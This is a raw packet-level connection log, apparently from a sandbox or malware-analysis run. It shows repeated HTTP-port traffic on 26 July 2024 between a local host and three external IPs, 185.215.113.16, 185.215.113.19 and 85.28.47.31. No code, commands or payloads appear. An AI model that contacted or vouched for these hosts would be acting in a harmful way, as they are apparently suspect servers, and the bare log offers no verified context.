Jul 26, 2024 13:49:05.857168913 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.857204914 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.857954025 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857969046 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.858000994 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.858023882 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.929668903 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.929744005 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.929749966 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.929755926 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.929802895 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.929990053 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930001020 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930032969 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.930052996 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.930404902 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930414915 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930433989 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930442095 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.930454969 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.930507898 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.931313038 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931325912 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931337118 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931349039 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931354046 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.931379080 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.931416035 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.931900978 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931914091 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.931947947 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.931973934 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.989240885 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.989310980 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.989341021 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.989353895 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.989382982 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.989402056 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.989710093 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.989722967 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.989753962 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.989773989 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.990133047 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.990144968 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.990158081 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.990169048 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.990179062 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.990183115 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.990226030 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.991111040 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.991122961 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.991133928 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.991146088 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.991153955 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.991178036 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.992117882 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.992130041 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.992141008 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.992153883 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.992162943 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.992163897 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.992185116 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.992206097 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.993010044 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993022919 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993032932 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993043900 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993055105 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993056059 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.993077040 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.993109941 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.993952990 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993966103 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993977070 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993987083 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.993994951 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.994019032 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.994615078 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.994626999 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.994637966 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.994648933 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.994658947 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.994663954 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.994688988 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.995460987 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.995474100 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.995484114 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.995496035 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.995507956 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.995533943 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.996352911 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.996366024 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.996376038 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.996387959 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.996397972 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.996398926 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.996417999 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.996438026 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.997037888 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997081995 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.997108936 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997121096 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997131109 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997142076 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997152090 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.997153997 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.997189045 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:06.682413101 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:06.682703018 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:06.690315962 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:06.690359116 CEST	80	58983	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:06.690385103 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:06.690431118 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:06.702346087 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:06.709847927 CEST	80	58983	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:07.476922989 CEST	80	58983	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:07.477003098 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:07.478775024 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:07.479042053 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:07.483983994 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:07.484054089 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:07.484245062 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:07.484513998 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:07.484569073 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:07.489778042 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.106518984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.111895084 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:08.112005949 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.112955093 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.117918015 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:08.232631922 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232659101 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232673883 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232794046 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.232880116 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232897043 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232917070 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.232999086 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.233406067 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.233478069 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.233567953 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.233602047 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.233633041 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.233634949 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.233661890 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.233691931 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.239515066 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.239638090 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.239721060 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.382914066 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.382961035 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.382977962 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.382982016 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383019924 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383061886 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383233070 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383275032 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383604050 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383637905 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383654118 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383671999 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383683920 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383716106 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.383930922 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.383965015 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.384030104 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.384253025 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.384341955 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.384618998 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.384654045 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.384704113 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.384968042 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.385026932 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.385130882 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.385185957 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.385994911 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386010885 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386028051 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386043072 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386049032 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.386059046 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386086941 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.386125088 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.386152029 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386337996 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.386389017 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.388037920 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.388101101 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.531497955 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531519890 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531537056 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531596899 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.531656027 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.531805038 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531821012 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531836033 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.531876087 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.531918049 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.532289982 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532305956 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532320976 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532361984 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.532393932 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.532840014 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532855034 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532869101 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.532912970 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.532951117 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.533325911 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.533340931 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.533355951 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.533369064 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.533390045 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.533441067 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.534049988 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534064054 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534077883 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534091949 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534106970 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534116030 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.534121990 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.534140110 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.534166098 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.535001993 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535018921 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535032988 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535048008 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535062075 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535069942 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.535079002 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.535094023 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.535146952 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.535986900 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536001921 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536015987 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536031008 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536043882 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536045074 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.536058903 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536073923 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.536103964 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.536923885 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536938906 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.536982059 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.621804953 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.621964931 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622018099 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622050047 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622056007 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.622083902 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622116089 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.622143984 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.622194052 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622337103 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622370958 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622389078 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.622406006 CEST	80	58984	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:08.622425079 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.622459888 CEST	58984	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:08.739470959 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:08.739573956 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.742399931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.747452974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:08.935412884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:08.937120914 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.950980902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:08.958023071 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.130961895 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.131012917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.131057024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.131139994 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.132899046 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.137809038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.311592102 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.311665058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.311702013 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.311711073 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.311711073 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.311757088 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.311932087 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.311965942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.312001944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.312109947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.312109947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.312109947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.312391043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.312458038 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.313743114 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:09.314606905 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:09.319761992 CEST	80	58983	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:09.319804907 CEST	58983	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:09.321670055 CEST	80	58986	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:09.321768045 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:09.381855965 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.382467031 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:09.387131929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.387243986 CEST	80	58986	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:09.561253071 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.561372042 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.667716026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.667758942 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:09.672852039 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672868013 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672879934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672914982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672921896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672964096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.672977924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:09.673049927 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:10.082154989 CEST	80	58986	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:10.082428932 CEST	58986	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:10.304341078 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:10.304450035 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.479507923 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.484508991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658869982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658909082 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658924103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658938885 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658952951 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658967018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.658963919 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.658965111 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.658982992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.659053087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659054041 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659054041 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659095049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.659111023 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.659125090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.659140110 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:11.659156084 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:11.659157038 CEST	80	58985	85.28.47.31	192.168.2.6
